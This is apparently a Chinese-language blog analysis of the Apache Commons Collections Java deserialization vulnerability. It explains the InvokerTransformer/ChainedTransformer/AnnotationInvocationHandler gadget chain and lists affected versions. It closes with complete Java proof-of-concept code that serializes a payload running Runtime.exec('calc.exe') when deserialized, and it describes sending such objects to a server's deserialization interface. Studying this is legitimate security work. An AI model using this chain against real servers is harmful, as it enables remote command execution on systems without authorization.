Apache-CommonsCollections反序列化漏洞分析

简介: Apache-CommonsCollections反序列化漏洞分析

环境搭建


JDK版本为为1.6,

引入commons-collections-3.1.jar包,具体引入方法为:


File -> Project Settings -> Modules -> Dependencies


点击加号选择导入JARs包,再选择包的地址,点击apply成功引入。



aebfb0b8faa585b3711cadecd45c1971_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Poc():


524f7bd640d30c30c078ea89b7e6e18b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


分析:


前面提到过要实现序列化与反序列化目标对象要实现Serializable接口。


Apache Commons Collections中有一个特殊的接口,


其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。


InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。


c087d5c694f73c7279d4e40c07a58c61_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


53ab207f92337c4763c86ddb29a610b2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


InvokerTranformer类中的transform方法,该方法使用反射进行函数调用


input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。


c026658290b68fba38c2a6f9c63baaa4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


ConstantTransformer类的transform()方法是返回iConstant属性,并且该属性也是可控的。


ChainedTransformer类很关键,这是它的构造函数:



从其构造函数可以看出它是传入一个Transform数组,在看一下它的transform()方法。


d3679fef5bda2d5b7b6388808d6e1146_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里使用循环来调用Transformer数组的transform()方法,


并且使用object作为后一个调用transform()方法的参数,这里我们结合前面的poc代码看:


0489ebd8ae14f9f26dcbc4cbd85a0879_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里代码有些绕,要结合前面对各个类的分析,


大概意思是创建一个transformers数组:


第一个参数是ConstantTransformer对象,

后面参数都是InvokerTransformer对象


(备注:InvokerTransformer类和ConstantTransformer类前面都有提到)


最后创建ChainedTransformer对象并将transformers数组传入。


Debug截图:


f95b9eab88f8d8b4aad51993644d4dac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


ee84adf83f9dedb95c5bc4d305ad8d32_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


48c1a5f150bcb88d018effd4c521b351_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这个checkSetValue()会触发transform方法。然后我们思路清晰起来了,


首先,

构造一个Map和一个代码执行的ChainedTransforme

生成一个TransformedMap。


Poc中的代码如下:


42260d38bd604e8ae9ede456b64ed0f1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Outmap就是已经构造好的TransformedMap,

下一步需要能让服务器反序列化对象时,触发outmap的checkSetValue()方法。


这时就要用到AnnotationInvocationHandler类,


这个类中有一个变量memberValues是Map类型,如下图所示:


65222ef8e8d5c11e6ef7aeb46a08c6c2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


AnnotationInvocationHandler的readObject()方法中,对memberValues的每一项都调用了setValue()函数,


代码如下:


44e8763c29652936767445f1f2f7c702_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里的setValue()函数就会触发checkValue()函数,代码如图:


9627bc642632ea221ad805544a716d12_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


所以我们要使用outmap来构造AnnotationInvocationHandler,进行序列化,


后面触发readerObject()反序列化时就能实现命令执行:


d516d98008cf64f4d5686a5c963d04cd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


下面分别是序列化与反序列化的简单本地模拟代码:


978c7690864a459f3d988784282a69ef_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


一般情况是服务器有一个反序列化接口,我们将自己构造的恶意代码序列化后通过接口远程调用,或者传输到服务器上,服务器进行反序列化调用readObject()函数;


然后成功命令执行。


d201df8c075fd6af91827e7790b87799_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


服务器端反序列化执行大概步骤:


5477a8d29f6c37ccd88f536f88197fab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


漏洞影响:


1.Spring Framework <= 3.0.5,<= 2.0.6;

2.Groovy < 2.4.4;

3.Apache Commons Collections <= 3.2.1,<= 4.0.0;


附POC代码:


package com.company;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
class test1 {
    public static Object Reverse_Payload() throws Exception {
        Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
        innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
    }
    public static void main(String[] args) throws Exception {
        GeneratePayload(Reverse_Payload(),"obj");
        payloadTest("obj");
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
//将构造好的payload序列化后写入文件中
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
    }
}

相关文章
|
8月前
|
存储 Apache
Apache Hudi Savepoint实现分析
Apache Hudi Savepoint实现分析
135 0
|
5月前
|
消息中间件 监控 数据挖掘
基于RabbitMQ与Apache Flink构建实时分析系统
【8月更文第28天】本文将介绍如何利用RabbitMQ作为数据源,结合Apache Flink进行实时数据分析。我们将构建一个简单的实时分析系统,该系统能够接收来自不同来源的数据,对数据进行实时处理,并将结果输出到另一个队列或存储系统中。
335 2
|
2月前
|
存储 SQL Apache
Apache Doris 开源最顶级基于MPP架构的高性能实时分析数据库
Apache Doris 是一个基于 MPP 架构的高性能实时分析数据库,以其极高的速度和易用性著称。它支持高并发点查询和复杂分析场景,适用于报表分析、即席查询、数据仓库和数据湖查询加速等。最新发布的 2.0.2 版本在性能、稳定性和多租户支持方面有显著提升。社区活跃,已广泛应用于电商、广告、用户行为分析等领域。
Apache Doris 开源最顶级基于MPP架构的高性能实时分析数据库
|
2月前
|
监控 Cloud Native BI
8+ 典型分析场景,25+ 标杆案例,Apache Doris 和 SelectDB 精选案例集(2024版)电子版上线
飞轮科技正式推出 Apache Doris 和 SelectDB 精选案例集 ——《走向现代化的数据仓库(2024 版)》,汇聚了来自各行各业的成功案例与实践经验。该书以行业为划分标准,辅以使用场景标签,旨在为读者提供一个高度整合、全面涵盖、分类清晰且易于查阅的学习资源库。
|
8月前
|
Apache
Apache Hudi Rollback实现分析
Apache Hudi Rollback实现分析
110 0
|
4月前
|
存储 JSON 物联网
查询性能提升 10 倍、存储空间节省 65%,Apache Doris 半结构化数据分析方案及典型场景
本文我们将聚焦企业最普遍使用的 JSON 数据,分别介绍业界传统方案以及 Apache Doris 半结构化数据存储分析的三种方案,并通过图表直观展示这些方案的优势与不足。同时,结合具体应用场景,分享不同需求场景下的使用方式,帮助用户快速选择最合适的 JSON 数据存储及分析方案。
查询性能提升 10 倍、存储空间节省 65%,Apache Doris 半结构化数据分析方案及典型场景
|
3月前
|
消息中间件 druid 大数据
大数据-153 Apache Druid 案例 从 Kafka 中加载数据并分析(二)
大数据-153 Apache Druid 案例 从 Kafka 中加载数据并分析(二)
57 2
|
3月前
|
消息中间件 分布式计算 druid
大数据-153 Apache Druid 案例 从 Kafka 中加载数据并分析(一)
大数据-153 Apache Druid 案例 从 Kafka 中加载数据并分析(一)
72 1
|
4月前
|
存储 大数据 数据挖掘
【数据新纪元】Apache Doris:重塑实时分析性能,解锁大数据处理新速度,引爆数据价值潜能!
【9月更文挑战第5天】Apache Doris以其卓越的性能、灵活的架构和高效的数据处理能力,正在重塑实时分析的性能极限,解锁大数据处理的新速度,引爆数据价值的无限潜能。在未来的发展中,我们有理由相信Apache Doris将继续引领数据处理的潮流,为企业提供更快速、更准确、更智能的数据洞察和决策支持。让我们携手并进,共同探索数据新纪元的无限可能!
182 11
|
3月前
|
消息中间件 druid Kafka
从Apache Flink到Kafka再到Druid的实时数据传输,用于分析/决策
从Apache Flink到Kafka再到Druid的实时数据传输,用于分析/决策
105 0

热门文章

最新文章

推荐镜像

更多